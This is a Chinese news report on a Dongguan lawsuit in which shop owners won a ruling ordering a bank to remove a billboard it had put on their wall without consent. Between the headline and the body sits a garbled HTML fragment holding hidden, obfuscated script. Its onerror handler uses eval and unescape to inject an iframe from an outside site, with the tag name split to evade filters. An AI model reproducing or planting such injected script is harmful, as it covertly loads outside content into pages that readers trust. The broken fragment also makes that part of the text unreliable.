在商铺墙上擅装广告牌业主获产权后状告银行侵权

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

未经业主同意，银行在商铺墙上安装巨幅广告牌。四年后，商铺业主获得产权证，状告银行侵权。因产权证载明该墙为商铺自用墙，两审法院均判决银行侵权，要求其拆除广告牌。

获产权证后告银行擅装广告牌

据了解，家住樟木头镇的叶某坚、叶某能在2001年向房地产公司购买了位于东莞市樟木头镇一小区52号的商铺。同期，一银行樟木头支行在52号商铺北面墙上安装了巨幅的广告牌。2005年底，叶某坚、叶某能办得该商铺的房地产权证书，证书上载明商铺的北面墙属于自用墙。因认为广告牌侵害了自己的权益，叶某坚、叶某能在交涉无果后，对银行提起诉讼要求拆除广告牌，恢复墙体原状。

银行辩称：

广告牌不影响其相邻关系

一审宣判后，银行不服，向东莞中院提起上诉。在法庭上，银行辩称，广告牌的墙面是属于小区的整体外观，属于该大楼所有业主共同所有，而不属于叶某坚、叶某能专有；而且广告牌的安装是按照有利于生产、方便生活的原则处理双方的相邻关系，安装广告牌的行为并没有对叶某坚、叶某能使用的52号铺造成任何影响，对叶某坚、叶某能不存在侵害行为；同时，银行还认为作为银行营业场整体规划的一部分，营业厅在四年前进行装修时已对该墙面作出了规划，并取得了大楼物业管理处的同意。

目前，经东莞中院二审认为，银行辩称广告牌安装所在的墙壁属于整栋楼业主共同所有，但却提供不了证据证明；其证据也不能显示其是如何取得墙面的合法使用权的。而叶某坚、叶某能提交的商铺房地产权证书证明商铺的北面墙属于自用墙。因此银行未取得业主的同意而在属于业主的墙面上安装广告牌构成侵权。法院最终判决，银行拆除安装在商铺北面墙上的广告牌，并恢复原状。